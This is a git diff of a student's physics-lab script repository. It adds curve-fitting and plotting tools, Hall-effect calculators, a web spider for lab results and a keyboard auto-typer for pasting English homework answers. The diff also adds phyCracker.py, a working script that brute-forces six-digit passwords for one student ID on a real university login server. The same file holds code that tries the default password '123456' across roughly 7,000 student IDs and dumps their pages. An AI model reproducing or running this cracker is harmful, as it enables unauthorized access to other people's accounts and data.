diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000000000000000000000000000000000000..615aafb035a1f363f614a893635f9d40d63ba911 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "python.pythonPath": "/usr/bin/python3" +} \ No newline at end of file diff --git a/.vscode/tags b/.vscode/tags new file mode 100644 index 0000000000000000000000000000000000000000..af095532f5c96a5b7c9bb1f1ebd5dcfe1e919a25 --- /dev/null +++ b/.vscode/tags @@ -0,0 +1,172 @@ +!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/ +!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/ +!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/ +!_TAG_PROGRAM_NAME Exuberant Ctags // +!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/ +!_TAG_PROGRAM_VERSION 5.8 // +DrawPoint.py ../DrawPoint.py 1;" kind:file line:1 +GetMap ../quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +GetMap ../sound/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +GetMap ../va/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +HallEffect.py ../hall/HallEffect.py 1;" kind:file line:1 +HallEffect2.py ../hall/HallEffect2.py 1;" kind:file line:1 +I ../va/va.py /^I=[itrue\/150*float(sys.argv[3]) for itrue in Iraw]$/;" kind:variable line:11 +Imax ../hall/HallEffect.py /^Imax = 5 # Maybe you need to change it to 0.5 for Im$/;" kind:variable line:11 +PyKeyboard ../input/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15 +PyKeyboard ../input/en.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:14 +PyKeyboard ../sound/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15 +U ../va/va.py /^U=[utrue\/100*float(sys.argv[2]) for utrue in Uraw]$/;" kind:variable line:10 +_dump ../phyCracker.py /^def _dump(sid,pswd):$/;" kind:function line:9 +ar ../input/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21 +ar ../input/en.py /^ar=fd.read().replace('\\n','').replace('\\'','\\\\\\'').replace('’','\\\\\\'').split(sys.argv[2])$/;" kind:variable line:10 +ar ../sound/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21 +b ../hall/HallEffect2.py /^ b = 4$/;" kind:variable line:100 +b ../hall/HallEffect2.py /^b=toFloat(input('b(mm) 4.00 ?>'))$/;" kind:variable line:94 +c6 ../hall/HallEffect2.py /^c6 = k * l * 10 \/ (b * d)$/;" kind:variable line:106 +crackOneAccount ../phyCracker.py /^def crackOneAccount(sid, rangeGen=range(1000000)):$/;" kind:function line:61 +d ../hall/HallEffect.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:94 +d ../hall/HallEffect2.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:93 +dat ../va/va.py /^dat=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:8 +dataInput.py ../input/dataInput.py 1;" kind:file line:1 +dataInput.py ../sound/dataInput.py 1;" kind:file line:1 +dataset ../input/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13 +dataset ../sound/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13 +doLogin ../phySpider.py /^def doLogin():$/;" kind:function line:30 +doTest ../phySpider.py /^def doTest(expNum, weekNum, cookieStr):$/;" kind:function line:41 +draw ../va/va.py /^from quickmap import GetMap as draw$/;" kind:namespace line:4 +dumpWebpage ../phySpider.py /^def dumpWebpage(content, filePath):$/;" kind:function line:36 +en.py ../input/en.py 1;" kind:file line:1 +errorPageDump ../phySpider.py /^errorPageDump = '\/home\/recolic\/tmp\/phySpiderDump.html'$/;" kind:variable line:15 +experimentNumberDict ../phySpider.py /^experimentNumberDict = {$/;" kind:variable line:18 +experimentNumberList ../phySpider.py /^experimentNumberList = [52,53,54,55,56,57,58,59]$/;" kind:variable line:12 +fail ../phyCracker.py /^fail=0$/;" kind:variable line:72 +farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:30 +farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:51 +farr ../hall/HallEffect.py /^ farr = fcont.split('\\n')$/;" kind:variable line:19 +farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:29 +farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:50 +farr ../hall/HallEffect2.py /^ farr = fcont.split('\\n')$/;" kind:variable line:18 +fcont ../hall/HallEffect.py /^ fcont = fd.read()$/;" kind:variable line:17 +fcont ../hall/HallEffect2.py /^ fcont = fd.read()$/;" kind:variable line:16 +fd ../hall/HallEffect.py /^ fd = open(sys.argv[1])$/;" kind:variable line:16 +fd ../hall/HallEffect2.py /^ fd = open(sys.argv[1])$/;" kind:variable line:15 +fd ../input/en.py /^fd=open(sys.argv[1],'r')$/;" kind:variable line:9 +gsa ../hall/HallEffect.py /^gsa=toFloat(input('B\/Im(KGS\/A) >'))$/;" kind:variable line:95 +hallC ../hall/HallEffect.py /^hallC = k * d * 1e4 \/ (im * gsa) # KGs and mm$/;" kind:variable line:104 +im ../hall/HallEffect.py /^ im = 0.45$/;" kind:variable line:103 +im ../hall/HallEffect.py /^im=toFloat(input('Im(A) 0.450 ?>'))$/;" kind:variable line:96 +kb0 ../hall/HallEffect.py /^kb0 = [1,0]$/;" kind:variable line:67 +kb0 ../hall/HallEffect2.py /^kb0 = [10,0]$/;" kind:variable line:66 +kb0 ../oil/oil0.py /^kb0 = [10,0]$/;" kind:variable line:28 +kbFinal ../hall/HallEffect.py /^kbFinal = leastsq(lossFunc, kb0, args=(I, V))$/;" kind:variable line:68 +kbFinal ../hall/HallEffect2.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:67 +kbFinal ../oil/oil0.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:29 +l ../hall/HallEffect2.py /^ l = 3$/;" kind:variable line:102 +l ../hall/HallEffect2.py /^l=toFloat(input('l(mm) 3.00 ?>'))$/;" kind:variable line:95 +leastsq ../hall/HallEffect.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../hall/HallEffect2.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../oil/oil0.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../sound/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../va/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +lineFunc ../hall/HallEffect.py /^def lineFunc(kb, i):$/;" kind:function line:60 +lineFunc ../hall/HallEffect2.py /^def lineFunc(kb, v):$/;" kind:function line:59 +lineFunc ../oil/oil0.py /^def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../sound/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../va/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lossFunc ../hall/HallEffect.py /^lossFunc = lambda kb, i, v : lineFunc(kb, i) - v$/;" kind:variable line:64 +lossFunc ../hall/HallEffect2.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:63 +lossFunc ../oil/oil0.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:25 +m_cookie ../phySpider.py /^ m_cookie=m_cookie[0:len(m_cookie)-2]$/;" kind:variable line:99 +m_cookie ../phySpider.py /^ m_cookie = cookieFile.readline()$/;" kind:variable line:97 +m_cookie ../phySpider.py /^ m_cookie = input()$/;" kind:variable line:102 +m_cookie ../phySpider.py /^ m_cookie = doLogin()$/;" kind:variable line:105 +matplotlib ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2 +matplotlib ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +n ../hall/HallEffect.py /^n = 1 \/ (hallC * 1.6021766208e-19)$/;" kind:variable line:105 +numpy ../DrawPoint.py /^import numpy$/;" kind:namespace line:1 +numpy ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../input/dataInput.py /^import numpy$/;" kind:namespace line:12 +numpy ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../sound/dataInput.py /^import numpy$/;" kind:namespace line:12 +numpy ../sound/quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../va/quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../va/va.py /^import numpy$/;" kind:namespace line:2 +oil0.py ../oil/oil0.py 1;" kind:file line:1 +oneLine ../input/dataInput.py /^ oneLine=True$/;" kind:variable line:22 +oneLine ../input/dataInput.py /^oneLine=False$/;" kind:variable line:18 +oneLine ../sound/dataInput.py /^ oneLine=True$/;" kind:variable line:22 +oneLine ../sound/dataInput.py /^oneLine=False$/;" kind:variable line:18 +parse ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +parse ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +phyCracker.py ../phyCracker.py 1;" kind:file line:1 +phySpider.py ../phySpider.py 1;" kind:file line:1 +plt ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2 +plt ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +px ../DrawPoint.py /^px=numpy.linspace(0,65,1000)$/;" kind:variable line:16 +px ../hall/HallEffect.py /^px=numpy.linspace(0,Imax,1000)$/;" kind:variable line:78 +px ../hall/HallEffect2.py /^px=numpy.linspace(0,100,1000)$/;" kind:variable line:77 +px ../oil/oil0.py /^px=numpy.linspace(0,maxX,1000)$/;" kind:variable line:39 +py ../hall/HallEffect.py /^py=k*px+b$/;" kind:variable line:79 +py ../hall/HallEffect2.py /^py=k*px+b$/;" kind:variable line:78 +py ../oil/oil0.py /^py=k*px+b$/;" kind:variable line:40 +quickmap.py ../quickmap.py 1;" kind:file line:1 +quickmap.py ../sound/quickmap.py 1;" kind:file line:1 +quickmap.py ../va/quickmap.py 1;" kind:file line:1 +rcParams ../DrawPoint.py /^from matplotlib import rcParams$/;" kind:namespace line:3 +rcParams ../hall/HallEffect.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../hall/HallEffect2.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../oil/oil0.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../sound/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../va/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +request ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +request ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +rh ../hall/HallEffect2.py /^rh=toFloat(input('RH(Calculated by HallEffect.py) ?>'))$/;" kind:variable line:96 +s ../hall/HallEffect.py /^ s = input('>')$/;" kind:variable line:41 +s ../hall/HallEffect2.py /^ s = input('>')$/;" kind:variable line:40 +sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:26 +sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:47 +sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:25 +sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:46 +success ../phyCracker.py /^success=0$/;" kind:variable line:71 +sys ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../input/dataInput.py /^import sys$/;" kind:namespace line:7 +sys ../input/en.py /^import sys$/;" kind:namespace line:4 +sys ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../phySpider.py /^import sys$/;" kind:namespace line:7 +sys ../sound/dataInput.py /^import sys$/;" kind:namespace line:7 +sys ../va/va.py /^import sys$/;" kind:namespace line:3 +time ../input/dataInput.py /^print('import time')$/;" kind:namespace line:16 +time ../input/en.py /^print('import time')$/;" kind:namespace line:15 +time ../sound/dataInput.py /^print('import time')$/;" kind:namespace line:16 +toFloat ../hall/HallEffect.py /^def toFloat(sstr):$/;" kind:function line:85 +toFloat ../hall/HallEffect2.py /^def toFloat(sstr):$/;" kind:function line:84 +toFloat ../oil/oil0.py /^def toFloat(sstr):$/;" kind:function line:46 +toFloat ../quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +toFloat ../sound/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +toFloat ../va/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +tryDump ../phyCracker.py /^def tryDump(sid):$/;" kind:function line:57 +u ../hall/HallEffect2.py /^u = c6 * rh$/;" kind:variable line:107 +urllib ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +urllib ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +va.py ../va/va.py 1;" kind:file line:1 +weekNumberList ../phySpider.py /^weekNumberList = [12,13,14,15,16,17]$/;" kind:variable line:11 +x ../DrawPoint.py /^x=xrc$/;" kind:variable line:7 +xrc ../DrawPoint.py /^xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]$/;" kind:variable line:6 +y ../DrawPoint.py /^y=[abs(yi) for yi in yrc]$/;" kind:variable line:8 +yrc ../DrawPoint.py /^yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]$/;" kind:variable line:5 diff --git a/__pycache__/quickmap.cpython-36.pyc b/__pycache__/quickmap.cpython-36.pyc index 93010c0d256ca909763358e61f48997018e88c3b..5941b8d85c574f82e1cb81064e894656e422ef5d 100644 Binary files a/__pycache__/quickmap.cpython-36.pyc and b/__pycache__/quickmap.cpython-36.pyc differ diff --git a/input/2 b/input/2 new file mode 100644 index 0000000000000000000000000000000000000000..4a98a88475c36fe5f32000f18585f433a979cddf --- /dev/null +++ b/input/2 @@ -0,0 +1 @@ +fashionable clothes, trends, copied, traditional center, are guarded, July, great numbers, a high price, starting point, only a part diff --git a/input/5.dat b/input/5.dat new file mode 100644 index 0000000000000000000000000000000000000000..cedac8c42da09f7adf905c47e1ca9e9ea023d083 --- /dev/null +++ b/input/5.dat @@ -0,0 +1 @@ +looks funny, looks fine, out of fashion, good on her, out-dated, following the fashion trends, no wonder diff --git a/input/aa b/input/aa new file mode 100644 index 0000000000000000000000000000000000000000..73127bc64deefe8aa5d40526042e7e70886c4c47 --- /dev/null +++ b/input/aa @@ -0,0 +1 @@ +new clothes, full of clothes, university tuition, clothes in fashion, the Middle Ages, part-time job, not too expensive diff --git a/input/d b/input/d new file mode 100644 index 0000000000000000000000000000000000000000..1b85a8be6176e9ccbdd187143142d24f7336f24b --- /dev/null +++ b/input/d @@ -0,0 +1 @@ +different and daring, Teenagers, their legs, shorter and shorter, five inches, loose morals, never appear, look childlike, women’s liberation, traditional diff --git a/input/en.py b/input/en.py new file mode 100755 index 0000000000000000000000000000000000000000..75e9e3940629aa8ce7d6412048979d045491782f --- /dev/null +++ b/input/en.py @@ -0,0 +1,24 @@ +#!/bin/env python +# It helps me to copy English answer really quick! + +import sys +if len(sys.argv) < 3: + print('Usage: ./dataInput.py /path/to/dat/file \'delimiter\' | python') + exit(123) + +fd=open(sys.argv[1],'r') +ar=fd.read().replace('\n','').replace('\'','\\\'').replace('’','\\\'').split(sys.argv[2]) +fd.close() + +print('#!/bin/env python3') +print('from pykeyboard import PyKeyboard') +print('import time') +print('k=PyKeyboard()') +print('print(\'Waiting for 5 second... Please be ready for auto-typing.\')') +print('time.sleep(5)') +for i in ar: + if len(i) == 0: + continue + print('k.type_string(\''+i+'\')') + print('k.tap_key(k.tab_key)') + diff --git a/input/ff b/input/ff new file mode 100644 index 0000000000000000000000000000000000000000..94d9bbbcc39128b5df860e1a31c04ff5a519527b --- /dev/null +++ b/input/ff @@ -0,0 +1 @@ +nervous, afraid, first time, locker, blanket, come out, wore diff --git a/input/sound-converted.dat b/input/sound-converted.dat index d9c87a9180201d40d0a864065ce02281eac61596..2e6073ad6e3c6d376024de8fb2ba60ec23f21a54 100644 --- a/input/sound-converted.dat +++ b/input/sound-converted.dat @@ -1,2 +1 @@ 36837 37258 36845 37345 36870 37283 36855 37327 36843 37261 -3.54 4.37 8.26 25.9 13.2 47.7 17.7 66.95 22.46 87.16 27.14 108.6 32.06 129.9 36.68 150.8 41.48 173.35 46.3 194.69 50.86 217.16 55.8 239.56 diff --git a/phyCracker.py b/phyCracker.py new file mode 100644 index 0000000000000000000000000000000000000000..007c755ec737a23a4ac19675726d0738d824bd0e --- /dev/null +++ b/phyCracker.py @@ -0,0 +1,79 @@ +#!/bin/env python3 +# -*- coding: UTF-8 -*- + +# from http import cookies +import urllib.request, urllib.parse + +cookie='ASPSESSIONIDQSCRDTDT=BDILIEMCJBBJKOBMFFHODGLJ' + +def _dump(sid,pswd): + logData=urllib.parse.urlencode({ + 'xsxh':sid, + 'mm':pswd, + 'Login':'%B5%C7%C2%BC' + }).encode('utf-8') + req=urllib.request.Request('http://115.156.233.249/login.asp', headers={ + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4', + 'Cache-Control':'no-cache', + 'Connection':'keep-alive', + 'Content-Length':'43', + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie':cookie, + 'Host':'115.156.233.249', + 'Origin':'http://115.156.233.249', + 'Pragma':'no-cache', + 'Referer':'http://115.156.233.249/login.asp', + 'Upgrade-Insecure-Requests':'1', + 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + }) + resp=urllib.request.urlopen(req, data=logData) + respstr=resp.read().decode('utf-8', errors = 'backslashreplace') + if len(respstr) < 5000: + print('<div align="center"> Login failed.') + return False + print('<div align="center"> Login done.') + + req=urllib.request.Request('http://115.156.233.249/TongZhi.asp', headers={ + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4', + 'Cache-Control':'no-cache', + 'Connection':'keep-alive', + 'Cookie':cookie, + 'Host':'115.156.233.249', + 'Origin':'http://115.156.233.249', + 'Pragma':'no-cache', + 'Referer':'http://115.156.233.249/login.asp', + 'Upgrade-Insecure-Requests':'1', + 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + }) + resp=urllib.request.urlopen(req) + respstr=resp.read().decode('gb2312', errors = 'backslashreplace') + print(respstr, len(respstr)) + return True + +def tryDump(sid): + print('<div align="center"> -----Dumping', sid) + return _dump(sid,'123456') + +def crackOneAccount(sid, rangeGen=range(1000000)): + for i in rangeGen: + psw=str(i).zfill(6) + print('Testing', psw, '...') + if _dump(sid,psw): + print('Done. password='+psw) + +crackOneAccount('201614531', range(800000, 1000000)) +exit(0) +#### +success=0 +fail=0 +for i in range(201610001, 201617174): + if tryDump(str(i)): + success+=1 + else: + fail+=1 +print('<div align="center"> Done. Success', success, 'Fail', fail) + diff --git a/phySpider.py b/phySpider.py index f1d86ab0e1f7b2e127ecd3956bed25431c3e19fb..053b63e614d1400f8ac6adfd60d4d92894b12b37 100644 --- a/phySpider.py +++ b/phySpider.py @@ -6,20 +6,24 @@ import urllib.parse, urllib.request import sys -weekNumberList = [14,15,16,17,18] -experimentNumberList = [37,38,39,40,41,42,43,44] +#weekNumberList = [14,15,16,17,18] +#experimentNumberList = [37,38,39,40,41,42,43,44] +weekNumberList = [12,13,14,15,16,17] +experimentNumberList = [52,53,54,55,56,57,58,59] + + errorPageDump = '/home/recolic/tmp/phySpiderDump.html' # Needn't edit below. experimentNumberDict = { - 37:'分光计', - 38:'多功能摆', - 41:'ç›´æµç”µæ¡¥', - 42:'ä¼å®‰ç‰¹æ€§', - 40:'å¯†é‡Œæ ¹æ²¹æ»´', - 43:'声速测é‡', - 44:'示波器', - 39:'éœå°”效应' + 57:'稳æ€æµ‹å›ºä½“导çƒç³»æ•°', + 59:'电路的暂æ€è¿‡ç¨‹', + 58:'音å‰å®žéªŒ', + 56:'æ‰æ‘†æµ‹è½¬åŠ¨æƒ¯é‡', + 54:'光电效应', + 52:'æ¶²ä½“å¼ åŠ›', + 53:'å振åŒæŠ˜å°„', + 55:'组åˆå…‰å¦' } diff --git a/quickmap.py b/quickmap.py index e0eb9bf9ef7982cea0c600d73e5b9643153f176c..13f8d60a5176511b8098470d59f6246efdcb10f4 100644 --- a/quickmap.py +++ b/quickmap.py @@ -8,44 +8,52 @@ from scipy.optimize import leastsq import matplotlib.pyplot as plt from matplotlib import rcParams -def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False): +def dotMultiply(vctA, vctB): + if len(vctA) != len(vctB): + print("Error: While vcta is ", vctA, " and vctb is ", vctB) + raise ValueError("dotmulti needs lena == lenb.") + ans = 0 + for a, b in zip(vctA, vctB): + ans += a * b + return ans + +def GetMap(parrX, parrY, windowSizeX=12, windowSizeY=8, extendXRate=1, line=False, passO=False, maxXPower=1): print('Generic-GetMap by Recolic.') arrX, arrY = parrX, parrY - maxX, maxY = max(arrX)*1.2, max(arrY)*1.25 - + maxX = max(arrX) * extendXRate # Do calculate - # y = k x + b (I = k V + b) + # y = [k0 k1 k2 ...] dot [x^0 x^1 x^2 ...] print('Your input: ', arrX, '|', arrY) print('Data collection done. Generating result...') - V, I = numpy.array(arrX), numpy.array(arrY) - def lineFunc(kb, v): - k,b=kb + X, Y = numpy.array(arrX), numpy.array(arrY) + + def lineFunc(k, x): + vctX = [x ** power for power in range(maxXPower + 1)] if passO: - return k*v - else: - return k*v+b + vctX[0] = 0 + return dotMultiply(k, vctX) - lossFunc = lambda kb, v, i : lineFunc(kb, v) - i + def lossFunc(k, x, y): return lineFunc(k, x) - y # Fire! if line: - kb0 = [10,0] - kbFinal = leastsq(lossFunc, kb0, args=(V, I)) - k,b=kbFinal[0] - print('Fit line done. Y=', k, 'X +', b) + kInit = [1 for _ in range(maxXPower + 1)] + kInit[0] = 0 # guarantee passO. + kFinal, _ = leastsq(lossFunc, kInit, args=(X, Y)) + print('Fit line done. k=', kFinal) else: print('Drawing map without fitting a line...') # Draw function map. - rcParams['grid.linestyle']='-' + rcParams['grid.linestyle'] = '-' rcParams['grid.color'] = 'blue' rcParams['grid.linewidth'] = 0.2 - plt.figure(figsize=(windowX, windowY)) - plt.scatter(V,I,color="red",label="Sample Point",linewidth=3) + plt.figure(figsize=(windowSizeX, windowSizeY)) + plt.scatter(X, Y, color="red", label="Sample Point", linewidth=3) if line: - px=numpy.linspace(0,maxX,1000) - py=k*px+b - plt.plot(px,py,color="orange",label="Fitting Line",linewidth=2) + px = numpy.linspace(0, maxX, 1000) + py = dotMultiply(kFinal, [px ** power for power in range(maxXPower + 1)]) + plt.plot(px, py, color="orange", label="Fitting Line", linewidth=2) plt.legend() plt.grid() plt.show() @@ -54,4 +62,4 @@ def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False) if sstr == '': return 0.0 else: - return float(sstr) \ No newline at end of file + return float(sstr) diff --git a/test.py b/test.py new file mode 100644 index 0000000000000000000000000000000000000000..86b6559847537ff0239e0e3c0d13f5db9f9f2046 --- /dev/null +++ b/test.py @@ -0,0 +1,8 @@ +import quickmap + +yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64] +xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0] + +for i in range(15): + quickmap.GetMap(xrc, yrc, line=True, maxXPower=i, extendXRate=1) +